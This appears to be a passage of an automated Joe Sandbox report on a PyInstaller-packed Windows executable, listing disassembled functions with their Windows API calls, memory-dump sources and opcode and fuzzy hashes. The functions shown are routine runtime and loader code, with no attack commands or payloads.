Part of subcall function 00007FF7C2668760: GetCurrentProcess.KERNEL32 ref: 00007FF7C2668780
Part of subcall function 00007FF7C2668760: OpenProcessToken.ADVAPI32 ref: 00007FF7C2668793
Part of subcall function 00007FF7C2668760: GetTokenInformation.KERNELBASE ref: 00007FF7C26687B8
Part of subcall function 00007FF7C2668760: GetLastError.KERNEL32 ref: 00007FF7C26687C2
Part of subcall function 00007FF7C2668760: GetTokenInformation.KERNELBASE ref: 00007FF7C2668802
Part of subcall function 00007FF7C2668760: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7C266881E
Part of subcall function 00007FF7C2668760: CloseHandle.KERNEL32 ref: 00007FF7C2668836

LocalFree.KERNEL32(?,00007FF7C2663C55), ref: 00007FF7C266916C
LocalFree.KERNEL32(?,00007FF7C2663C55), ref: 00007FF7C2669175

Strings

D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF7C2669142
D:(A;;FA;;;%s), xrefs: 00007FF7C2669157
S-1-3-4, xrefs: 00007FF7C2669121
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF7C2669183

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 44a76ac2d965b652da6d7152683ffc914eb32e79e00aec7a7a922ce7c9633e88
Instruction ID: 501a383dcd55afda6acac0d2fa82a9dc88a7a90b5db6c0b2e70aa9819cf72860
Opcode Fuzzy Hash: 44a76ac2d965b652da6d7152683ffc914eb32e79e00aec7a7a922ce7c9633e88
Instruction Fuzzy Hash: 25213071A0874281E710BF20E5152EAA262EF84760FD44035EA8D63F95DFBCD845C770

Function 00007FF7C267CFD0 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C267CFBB), ref: 00007FF7C267D0EC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C267CFBB), ref: 00007FF7C267D177

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction ID: a5b4f627d52cf9dde25abc511b57ba8bcfc515a55e6494ff97cd77da564f9d56
Opcode Fuzzy Hash: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction Fuzzy Hash: 3391C226A1865185F750BF65E4802BDABE2AB44FA8F944535DE8E73F84CFB8D442C730

Function 00007FF7C2675698 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26756C5
CreateFileW.KERNELBASE ref: 00007FF7C2675704
CloseHandle.KERNEL32 ref: 00007FF7C2675739

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction ID: da5c33fd950796afd40a7cb3253b1ab66723926da7e83c5d5a300bda850eb57c
Opcode Fuzzy Hash: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction Fuzzy Hash: 0F417122D1878183E650BF20A554379A361FB94B64F509335EAD816FD2DFBCA5E0C770

Function 00007FF7C266CCAC Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C266CE7C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7C266CE90

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7C266CCD0
__scrt_release_startup_lock.LIBCMT ref: 00007FF7C266CD3E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7C266CD91

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction ID: 2af43a21fc74c0dd2b4060972e7336cc958d749b6054f2b772889b8c6f5dd35c
Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction Fuzzy Hash: A6316A10E08A4281EA14BF65D4263B9A6A3AF457A8FC44434D5CE67FD7CEFCA404C278

Function 00007FF7C2679AA0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7C2679A9C), ref: 00007FF7C2679AB1
TerminateProcess.KERNEL32(?,?,?,00007FF7C2679A9C), ref: 00007FF7C2679ABC
ExitProcess.KERNEL32 ref: 00007FF7C2679ACB

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction ID: 3815c579f4f95a7c3e669a9c01136107ecc4226e76ec294592dce25d64e5178c
Opcode Fuzzy Hash: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction Fuzzy Hash: 83D09E10B0A74682EB147F706C9907892936F49F61F941438C8DB7AB93DEACE449C330

Function 00007FF7C26701AC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26701F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26702E7

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction ID: 617fc03ff3f9e854066d8498c3b1f98936eb5ea6fb4ea4be974dbb0a4e50e24f
Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction Fuzzy Hash: 2E51E562A0D24286E664BE65A40067AA293AF44FB4F944734EDFC67FC5CFBCE441C630

Function 00007FF7C267C1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF7C267C33D), ref: 00007FF7C267C1F0
GetLastError.KERNEL32(?,?,?,?,?,00007FF7C267C33D), ref: 00007FF7C267C1FA

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction ID: 9166d89e9377bcecf70a000bd8166301b1c294d74d640adc35a1f1887f2ae279
Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction Fuzzy Hash: 8F11E261618B8181DA10AF25B804169A362BB41FF4FA40331EEBD5BBE8CFBCD001C720

Function 00007FF7C267A9B8 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF7C2682D92,?,?,?,00007FF7C2682DCF,?,?,00000000,00007FF7C2683295,?,?,?,00007FF7C26831C7), ref: 00007FF7C267A9CE
GetLastError.KERNEL32(?,?,?,00007FF7C2682D92,?,?,?,00007FF7C2682DCF,?,?,00000000,00007FF7C2683295,?,?,?,00007FF7C26831C7), ref: 00007FF7C267A9D8

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction ID: 183f5244b875de304ed6e6a6559b23ffe3681f5a0c09fc4672f00b92a5b50378
Opcode Fuzzy Hash: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction Fuzzy Hash: 4BE04F11F1864282FF087FB2744513992626F84B60BC40034D99DA2BA2EFAC6895C330

Function 00007FF7C267ABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF7C267AA45,?,?,00000000,00007FF7C267AAFA), ref: 00007FF7C267AC36
GetLastError.KERNEL32(?,?,?,00007FF7C267AA45,?,?,00000000,00007FF7C267AAFA), ref: 00007FF7C267AC40

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction ID: d11c77f138bbff2ebabcbba1e267ad5e276477d45bdcd46752a540659b9a8099
Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction Fuzzy Hash: E0215011B1C64291EA947F61B45427D9293AF84FB0F984235DAAEA7BD1CFFCA845C330

Function 00007FF7C267BF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C267BF44

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction ID: a524dea2fd5443b9b605d2abb9b29dfd3c99ee1e95fb12a2d6c3c56bcfd47aa7
Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction Fuzzy Hash: E641B53290864187EA34BE25B54027DB3A2EB55F64F900135DACEA3B95CFADE442CB71

Function 00007FF7C2667F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7C266802A

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: a04a6dff0443a84ee3e7d7b85ba5df040c793d2a730aad3af21426add8a99984
Instruction ID: cd73bec62f283a293e7dc0aaf6d897f8531808d6072ab5a9e6e6a478bd517c0c
Opcode Fuzzy Hash: a04a6dff0443a84ee3e7d7b85ba5df040c793d2a730aad3af21426add8a99984
Instruction Fuzzy Hash: 3621A521B0869195EE10BE2265043BAE662BF45BE4FCC5430EE8D27B86CEBDE045C634

Function 00007FF7C267B9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C267BA32

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
Instruction ID: 2047142ebe03a124250fb7c8311e13d22de2ff8ee8584a4d41f06ab39dcd6330
Opcode Fuzzy Hash: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
Instruction Fuzzy Hash: B6318022A18A4285F7517F65A84137CA662AB80FB4FC54135EAAD23BD2DFFCE441C731

Function 00007FF7C26799D1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7C26799FF

Part of subcall function 00007FF7C2679AF8: GetModuleHandleExW.KERNEL32 ref: 00007FF7C2679B1D
Part of subcall function 00007FF7C2679AF8: GetProcAddress.KERNEL32 ref: 00007FF7C2679B33
Part of subcall function 00007FF7C2679AF8: FreeLibrary.KERNEL32 ref: 00007FF7C2679B5A

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction ID: ceb8db3eff180ed2d92b15cf8edba3ff2dca9676efe978501d387a3f3c9e491c
Opcode Fuzzy Hash: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction Fuzzy Hash: 9A217131A067818AEB24EF68D4442EC73A2EB04B28F940635D69E66FD5DFB8D544CB60

Function 00007FF7C2676004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2675F69

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 8f912d2385c3f88dae71ea351b3bfd1e3355e7a2a62527987b0eac9727fe491f
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: BB111A22A1864181EA61BF51A40027EE266EF85FA4FC44075EE8C67F96DFBDD840CB31

Function 00007FF7C26863C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26863E7

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction ID: c34f2c8fae4a3dc3146a2f8a38d8bfcd3162a30be87cbc6ee9328ec7bc1074e2
Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction Fuzzy Hash: 82219872618641C7D761AF18E440379B6A2FB84B64F944234D6DD57BD9DF7CD400CB20

Function 00007FF7C267042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2670480

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: c9456ceb4fe01632cef678d9aadbf77850c5731ad6fc897e8ae8cbd5d41f32ff
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 2A018E61A0874180EA14FF52A901169E692AF85FF0B984631EEDC27FDADFBCE451C330

Function 00007FF7C2677F6C Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2677FAA

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 6832eb5f98ca96f5e7cd25db8366a3c1a8b2d6b45623d2691d830cdd3d76c9ad
Instruction ID: 196df03108c0b67a0c69149d01d69e2a062ec6423346d97a4bd84918263acdb2
Opcode Fuzzy Hash: 6832eb5f98ca96f5e7cd25db8366a3c1a8b2d6b45623d2691d830cdd3d76c9ad
Instruction Fuzzy Hash: 10016120A1D64380FA917E217641179D292AF44FB0FD44535E9DCA2FC6DFFCA841C631

Function 00007FF7C26782A8 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26782C1

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

